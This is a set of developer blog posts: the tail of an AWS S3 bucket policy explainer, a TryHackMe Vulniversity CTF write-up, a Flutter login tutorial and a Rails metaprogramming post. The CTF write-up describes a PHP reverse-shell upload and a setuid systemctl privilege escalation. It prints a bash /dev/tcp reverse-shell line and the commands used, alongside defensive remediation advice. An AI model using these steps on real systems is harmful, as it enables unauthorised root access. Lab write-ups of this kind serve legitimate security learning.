        ],
        "Resource": [
            "arn:aws:s3:::flaws.cloud/index.html",
            "arn:aws:s3:::flaws.cloud/hint1.html",
            "arn:aws:s3:::flaws.cloud/hint2.html",
        ]
    ],

}

The first and second statements allow our iam user Default with an account id of 122345 to list all objects in the bucket and perform the GetObject action on the secret file. As mentioned before AWS users and the public are explicetly denied access to resources by default, which was not always the case. Therefore we don't need to set up statements with the Deny effect all though this is done occasionaly. In the last statement we allow the public to view specific objects in our bucket by specifying those objects as list within the Resource tag.

Privilege escalation & Security Remediation For TryHackMe's Vulniversity

gardnerapp — Tue, 23 May 2023 18:42:44 +0000

Blacklisting file extensions on file uploads didn't prevent me from gaining access to the web-server. After discovering a form that allowed me to upload files with the .phtml extension I was able to spawn a reverse shell by modifying this script from pentest monkey to connect back to my NetCat listener, the script was executed after browsing to the path which it was uploaded to.

Filters for file extensions are use less if any user can achieve RCE through file uploads. In order to prevent this type of intrusion the developers could've set the permissions for uploaded files as non-executable, they also could've scanned files for tell tale signs of malicious activity such as containing strings like cat /etc/passwd or /bin/sh. Monitoring and restricting the child processes of the web-server wouldn't have been a bad idea either.

I now had access to the Apache server as the unprivileged www-data user. Linux systems have a variety of users that are used to handle daemons, jobs and other processes that are abstracted away from the user and ran in the background automatically. Typically "system or "daemon" users as I like to call them do not have a login profile and lack a password. In this case the Apache server is managed by the www-data user.

That being said these system users will run the same tasks and commands over and over again with very little variation, they are a program and lack randomness in their behavior. Ultimately security is about spotting deviations from normal behavior, if all of your users are in America and suddenly you start seeing traffic from the communist country of Westphelia that is a red flag. Think of it like this every day you walk into your home and Fido the doge greets you. One day you come home the door is wide open, there is some broken glass and Fido is missing. This would be an indication that APT-32 may have broken into your house and nabbed your beloved Fido.

On a side note I heard on a podcast that former special forces operative and UFC fighter Tim Kennedy is extremely organized in that he puts all of his forks, dishes, etc away in a systematic fashion. This allows him to spot when someone was messing with his stuff, as it is highly unlikely that an intruder would be detailed or sharp enough to pick up on or mimic on his organizational patterns.

Organization helps us spot deviations from normal behavior, if your room is messy and always looks like it was ransacked you won't be able to know when it's actually ransacked.

Before an attacker finds the juicy data they're looking for they need to figure out 1) who they are (whoami), 2) Where they are (env, pwd) and 3) what kinds of permissions they have (ls -la,cd). These commands will typically always be run by humans and therefore should be blacklisted from system/daemonic accounts or trigger alarms as a set of intrusion canaries. Aside from specific commands child processes can be monitored for suspicious behavior as well, like spawning an SSH shell to the headquarters of the Westphelian Red Army.

I had penetrated the peripheries of the web-server and obtained access to an unprivileged account, that's nice and all but what we're really aiming for is pwnage ie. root access and the flag in the /home/root directory. In order to escalate my privileges the CTF gave a hint that I needed to find a binary with permissions that enabled the setuid bit. After running this command: 'find /bin -perm /4000 ' I found that a handful of binaries including systemctl, the interface for interacting with systemd had the ability to run as the root user. Systemctl would prove to be the most viable of our options because it can run code, I now had a way to RCE as root.

Linux permissions are a way of specify which users and groups can read, write and execute files. Traditional file permissions are not the only set of permissions on a Linux system, users can harden their systems with SELinux and a special set of permissions called capabilities which manage calls to the Kernel come into play when using containerization technologies.

The setuid permission allows for a program to be used by anyone on the system, but when the executable is running it runs with root level permissions. This is dangerous because all of the child processes of the executable will also have root permissions, if I divert an executable from its normal functioning I can spawn a malicous process as root. But, thats a little complex for this CTF. Instead all I need to do is have systemd run a unit of my choosing.

At the time I was not familiar with systemd or systemctl so I had to hit the books literally and pick up my copy of How Linux Works 2nd Edition. Systemd can be briefly summarized as the brain of the Linux system, it is the first process in the system and sets everything else into motion. Systemctl is simply a programmatic interface for interacting with systemd.

Now the question arose as to "How do I execute code with systemctl?". I could of course run cat /home/root/flag.txt with systemctl but that is extremly boring and I wouldn't have persistent root access. Why not get a root shell instead?

Systemctl interacts with systemd through what are called units, these units can be scheduled to do pretty much whatever you want on the system including open sockets, manage devices and mount file systems. After doing some research online I used the this unit file from to escalate my privileges, obviously I had to modify the IP to match that of my attack box and open up another NetCat listener to match the port in the unit file.

I could pretty much understand every line in the unit file except for:

ExecStart= /bin/bash -c 'bash -i >& /dev/tcp/10.10.22.22:/999 0>&1'
(10.10.22.22 is my attack box IP where my NC is listening on port 9999)

Basically all this line is saying is open up a bash shell and redirect the output to a tcp socket device that connects to /dev/tcp/my_host/my_port. The /dev file is for managing hardware on the linux system, things like keyboards, USBs, network interfaces and even the disc itself are represented as files within this directory. The >& redirects the standard output and error (stout, stderr) of the bash shell to a socket and the 0>&1 directs the standard input (stdin) of the shell to that of the open sockets file descriptor.

It was a bit of a hassle trying to use vi through a reverse shell to create a unit file. So I just wrote the unit file on my attack box, gave it a .phtml extension, uploaded it to the web-server and when I was ready pwn reverted the .phtmlto a .service extension.

After firing up another NetCatlistener which would handle root connections it was time to run my unit. In order to enable the unit ie. get the system ready for running it I ran /bin/systemctl enable /var/www/internal/uploads/root.service. I could then run the unit via /bin/systemctl start root.service and bang I had root !

A security team could have thwarted this privilege escalation simply by turning the promiscuous setuid bit off or by monitoring systemctl access by the system users, who as I stated before are doing the same highly predictable tasks day in and day out. Because of this predictability the commands for the behavior of users can be monitored or blacklisted as it is highly unlikely the the www-data user is interacting with systemctl to do anything besides the Nginx stop, start and restart commands.

Flutter User Authentication Part 1: Models and API

gardnerapp — Fri, 03 Dec 2021 20:38:23 +0000

Signing user up, in and out are nearly universal features for every type of app. In this series I’ll teach you how to build a simple authentication system. Part 1 will cover the basics of API calls and models. In part 2 I’ll teach you how to store authenticated users inside your app with the Cubit package and in part 3 we’ll be learning how to maintain sign-in after our app closes by using the shared preferences package.

Podcast: https://podcasts.apple.com/us/podcast/coreys-corner/id1479097455

Learn to code: https://www.youtube.com/channel/UCfd8A1xfzqk7veapUhe8hLQ
Creating a Base API class:

Our first step is to build a BaseAPI class to hold all of the URL’s of our API. In my How To Make Flutter API Calls Easy I taught you how to use class inheritance as a means of simplifying and organizing your API calls. This class isn’t to complex it just stores the routes we will be requesting, check out the code below.

Class BaseAPI{    static String base = "http://localhost:3000"; 
    static var api = base + "/api/v1";
    var customersPath = api + "/customers";
    var authPath = api + "/auth"; 
   // more routes   Map<String,String> headers = {                           
       "Content-Type": "application/json; charset=UTF-8" };                                      

}

Ultimately creating our Base class makes it easier for us to manage our API endpoints.
Creating A Customer API Class

Next we’re going to create a class to store all of the API calls for customer authentication.

We’ll make request using darts HTTP library, any data we send will be encoded in JSON format. Each request will return a Future of type HTTP response. Inside of our widgets we’ll be using the Response’s statusCode attribute to determine if our calls were successful.

import 'dart:convert';

import 'package:resteraunt_starter/api/BaseAPI.dart';
import 'package:http/http.dart' as http;

class AuthAPI extends BaseAPI {  Future<http.Response> signUp(String name, String email, String phone,
      String password, String passwordConfirmation) async {
    var body = jsonEncode({
      'customer': {
        'name': name,
        'email': email,
        'phone': phone,
        'password': password,
        'password_confirmation': passwordConfirmation
      }
    });

    http.Response response =
        await http.post(super.customersPath, headers: super.headers, body: body);
    return response;
  }

  Future<http.Response> login(String email, String password) async {
    var body = jsonEncode({'email': email, 'password': password});

    http.Response response =
        await http.post(super.authPath, headers: super.headers, body: body);

    return response;
  }


  Future<http.Response> logout(int id, String token) async {
    var body = jsonEncode({'id': id, 'token': token});

    http.Response response = await http.post(super.logoutPath,
        headers: super.headers, body: body);

    return response;
  }

}

Now it’s time to create our Customer class!
Creating a Customer Object

When we create an object we are creating our own data type, we’re creating a blue print that outlines all the properties that each of our customers will have.

import 'dart:convert';

class Customer{
  int id;
  String email;
  String phone;
  String name;
  String token;

  User({this.id, this.email, this.phone, this.name, this.token});

  factory Customer.fromReqBody(String body) {
    Map<String, dynamic> json = jsonDecode(body);

    return Customer(
      id: json['id'],
      email: json['email'],
      name: json['name'],
      phone: json['phone'],
      token: json['token'],
    );

  }

  void printAttributes() {
    print("id: ${this.id}\n");
    print("email: ${this.email}\n");
    print("phone: ${this.phone}\n");
    print("name: ${this.name}\n");
    print("token: ${this.token}\n");
  }

}

The first thing we did was create class constructors to initialize new instances of our Customer objects. We use the factory constructor because there might be a time when we don’t need to create an entirely new instance of our class. Our factory method will receive a JSON object, from our API call request body, which we will decode into a Map of type(s) String & dynamic. From their it’s only a matter of setting our Customer attributes to their corresponding keys in the map. Lastly the printAttributes() helper method will print out all of the attributes and their values, this is very useful for debugging.
In Our Widgets

../authentication/auth.dart

class Auth extends StatefulWidget {
  @override
  _AuthState createState() => _AuthState();
}

class _AuthState extends State<Auth> {
  bool showSignUp = true;

  @override
  Widget build(BuildContext context) {
    return Scaffold(
        appBar: AppBar(
            title: Text(
              "Corey's Corner",
            ),
          elevation: 16.0,
          actions: [
            IconButton(
                icon: Icon(Icons.swap_horiz),
                onPressed: () {
                  setState(() {                    showSignUp = !showSignUp;
                  });
                })
          ],
        ),
        // ternary operator 
      body: Container(child: showSignUp ? SignUp() : SignIn()));
  }
}

In this widget we are setting up a container to hold both our Signup() & SignIn() widgets. We use a boolean to toggle back and forth between the different pages, this prevents use from having to write push functions to get to different pages.
../authentication/sign_in.dart

For the sake of brevity I’m going to leave all form, text and button styling out of the picture and this tutorial will only cover the signIn page.

class SignIn extends StatefulWidget {

  @override
  _SignInState createState() => _SignInState();
}

class _SignInState extends State<SignIn> {
  AuthAPI _authAPI = AuthAPI();
  final _key =  GlobalKey<FormState>();
  String email;
  String password;
  @override
  Widget build(BuildContext context) {

    return  Container(
        padding: EdgeInsets.symmetric(vertical: 20.0, horizontal: 25.0),
        child: Form(
            key: _key,
            child: Column(
              mainAxisAlignment: MainAxisAlignment.start,
              children: <Widget>[
                SizedBox(height: 70),
                Text("Sign In", style: formTitleStyle(),),
                SizedBox(height: 30),
                Container(
                    width: 400,
                    child: TextFormField(
                      decoration: textInputDecoration("Email", context),
             onChanged: (val) => setState(() => email = val),
                    )
                ),
                SizedBox(height: 30),
                Container(
                  width: 400,
                  child: TextFormField(
                    obscureText: true,
                    decoration: textInputDecoration("Password", context),
                    onChanged: (val) => setState(() => password = val),
                  ),
                ),
                SizedBox(height: 25),
                GestureDetector(
                  child: Text("Forgot Password ?", style: TextStyle(
                      fontSize: 18.0,
                      decoration: TextDecoration.underline
                  ),),
                  onTap: (){
                  // todo 
                  },
                ),
                SizedBox(height: 25),
                Container(
                    width: 400,
                    child: customRaisedIconButton("Sign In !", Icons.send, context, () async {
                      if(_key.currentState.validate()){
                        try{
                          var req = await 
                       _authAPI.login(email,  password);
                          if(req.statusCode == 200){print(req.body);
var customer = 
                              Customer.fromReqBody(req.body);customer.printAttributes();
                        Navigator.push(context, MaterialPageRoute(
                         builder: (context) => MyHomePage(customer:                 customer)));
                          } else {
                            pushError(context);
                          }
                        } on Exception catch (e){
                        print(e.toString());
                        pushError(context);
                        }
                      }
                    })
                )
              ],
            )
        )
    );
  }
void PushError(){
    Navigator.push(context, MaterialPageRoute(
        builder: (context) => Error()
    ));
}

The first thing we do is create to Strings email & password within state. In side of our text forms we call setState to set the stateful fields to the values our customer types in. Before our API call we’ll use validators to ensure that our email and password aren’t bank so we don’t make any necessary API calls.

AuthAPI _authAPI = AuthAPI();

In this line of code we initialized an instance of our AuthAPI object and store it in a variable.

Our API call is asynchronous because we have to wait for our data. We use the await statement to wait for our request. Asynchronous programming allows our code to execute non-linearly. We wrap our call in a try statement to catch any errors and we call our login function and pass it the objects stored in state with line of code:

var req = await _authAPI.login(email,  password);

Once we receive our request we use its statusCode attribute to decide what to do next. If our code reads 200 we pass the request body attribute, which is of type JSON to the factory constructor of our Customer model. From there we print out our users new attributes, the request body and push to home. If we don’t receive the proper statusCode or we catch an exception we push to an error page.

Thanks for reading! in the next post we’ll discuss how to use Cubits to store our customer in our app making it available to all of our widgets.

Be sure to checkout Part II and III !

Meta Programming Rails Test

gardnerapp — Wed, 17 Nov 2021 19:55:52 +0000

Over the lifecycle of application development people tend to procrastinate or blow off writing test. I’m sure that many new engineers, like my former self, feel that writing test is not important and that it can even be cumbersome to actually getting a product shipped. On top of all that testing is easy to forget about because it can be very boring and repetitive. Luckily in this series we’re going to challenge ourselves and make writing test fun by Meta Programming them.

In a professional environment you need to have test in order to properly refactor your code and ensure that your application does break in the event that you need to update the language or framework that it runs on.

Imagine if you have to upgrade your app to Rails 7 and Ruby 3.0. If you haven’t written any test than only way for you to ensure that your application is working properly is testing it by hand, tediously going through every page and searching through every link and input form. This would be awful, luckily we can write test which automates the entire process for us.

The process of editing code is known as refactoring. Often we want to change the form of our code (what it looks like) without changing its function (what it does).

There’s a lot of different ways to do the same thing, you might write some decent code and then come back with some fantastic code the next day and decide to change things up. Testing is perfect in this type of scenario because it ensures that our program achieves the desired output no matter what it looks like.

Luckily with the Ruby language we can Meta Program our test ie. write code that writes test. This rapidly decreases the amount of time we need to spend on writing test and makes testing our applications a whole lot more interesting. On top of all that our test take up far fewer lines of code when we choose to utilize Meta Programming. Alright, lets get to the fun part !
The Lame Way Of Testing Model Validations

Lets assume we have a model called Restaurant which has a few attributes: name, address, phone number, category, and closing time. We want all of these attributes to be required for our model to be valid. Typically we’d do something like this:

#... /models/restaurant.rb
class Restaurant < ApplicationRecordvalidates :name, presence: true
validates :address, presence: true
validates :phone_number, presence: true
validates :category, presence: true
validates :closing_time, presence: trueend # 5 lines of code

Our model test file would look like this:

#... test/models/restaurant_test.rbclass RestaurantTest < ActiveSupport::TestCase
   def setup
      @restaurant = restaurants :first
   end    test 'Name should be present' do
      @restaurant.name = nil 
      assert_not @restaurant.valid?
   end   test 'Address should be present' do
      @restaurant.address = nil 
      assert_not @restaurant.valid?
   end   test 'Phone Number should be present' do
      @restaurant.phone_number = nil 
      assert_not @restaurant.valid?
   end   test 'Category should be present' do
      @restaurant.category = nil 
      assert_not @restaurant.valid?
   end   test 'Closing Time should be present' do
      @restaurant.closing_time = nil 
      assert_not @restaurant.valid?
   end
end # 4 lines of code per attribute test, 5 attributes 5*4 = 20 lines

To write and test a simple presence validation we have to write 5 lines of code, 1 line for the validation and another 4 for testing it. Presence validations are one of the easiest things to write & test but they still require a lot of code, and they are very boring to write.

If you had 5 models with 5 attributed each you’d have to write 125 lines of code 😤 🤕 😠. Who in their right mind wants to write or look through all that boring code and repetitive code? If your running a startup do you really want to be using your engineers time and attention on this?

So how can we make our lives easier, use our time more wisely, write less code, make more money and make testing more interesting all in one swoop.

TDD + Meta Programming: A Dynamic Duo

We’ll take a Test Driven Development approach by writing failing test and refactoring our application code until our test are green. If you noticed before all of our test followed a similar pattern or formula (summarized below). Every test name is prefixed with the name of the attribute, the attribute is then set to nil on our instance variable and lastly we assert that our variable is not valid with it’s null attribute.

test 'attribute is present' do
   @restaurant.attribute = nil 
   assert_not @restaurant.valid?
end

Let’s start by creating a list of all the attributes that must be present. We’ll then use the each method to loop over each attribute, passing in a block which is where the actual testing happens. Naming the test is simple enough all we have to do is use string interpolation.

So, how do we set the attribute(s) on our instance variable to nil ? Originally I thought of using the send method but that made zero sense. I was about to give up but then I realized that the Ruby Kernel method eval will evaluate a string as if it were a piece Ruby code, thus we’re able to treat data as code.

My final test(s) looked like this:

#... test/models/restaurant_test.rb%i[name phone_number address category closing_time].each do |attr|
   test "#{attr} must be present" do 
      eval "@restaurant.#{attr} = nil"
      assert_not @restaurant.valid?
   end
end# 6 lines of code 70% reduction in code volume ;)

At this point our test should be red. Because model validations are so repetitive they are a clear candidate for being meta programming. Once again we’ll loop over a list of symbols, inside of the block we’ll use eval and the validates_presence_of helper to run the validations. The code is as follows:

#... /models/restaurant.rb%i[name phone_number address category closing_time].each do |attr|
     eval "validates_presence_of #{attr}"
end # 3 lines of code 60% reduction in code volume

Conclusion

Meta Programming is a practice where you write code that writes code, essentially we’re automating programming. Any time that we’re writing repetitive or pseudo similar code is a sign that we can use Meta Programming to keep things DRY.

Meta Programming allows us to write more code at a faster rate with less lines of code. This makes our programs easier to read, write and debug. In a professional developer that can utilize Meta Programming properly will be able to get more done in less time. By Meta Programming my model validations and their test I was able to achieve a 60–70% reduction in code volume.

To learn more about Meta Programming be sure to check out my Beginners Ruby Meta Programming Tutorial, the Advanced Meta Programming Tutorial and the Meta Programming a Ruby on Rails E-Commerce Application. And don’t forget to listen to Corey’s Corner, Thanks !

Corey’s Corner Podcast: https://anchor.fm/coreys-corner

Gardner App Development: https://gardnerappdev.com

Get Yoked 🍳 https://thoughtsandfitness.com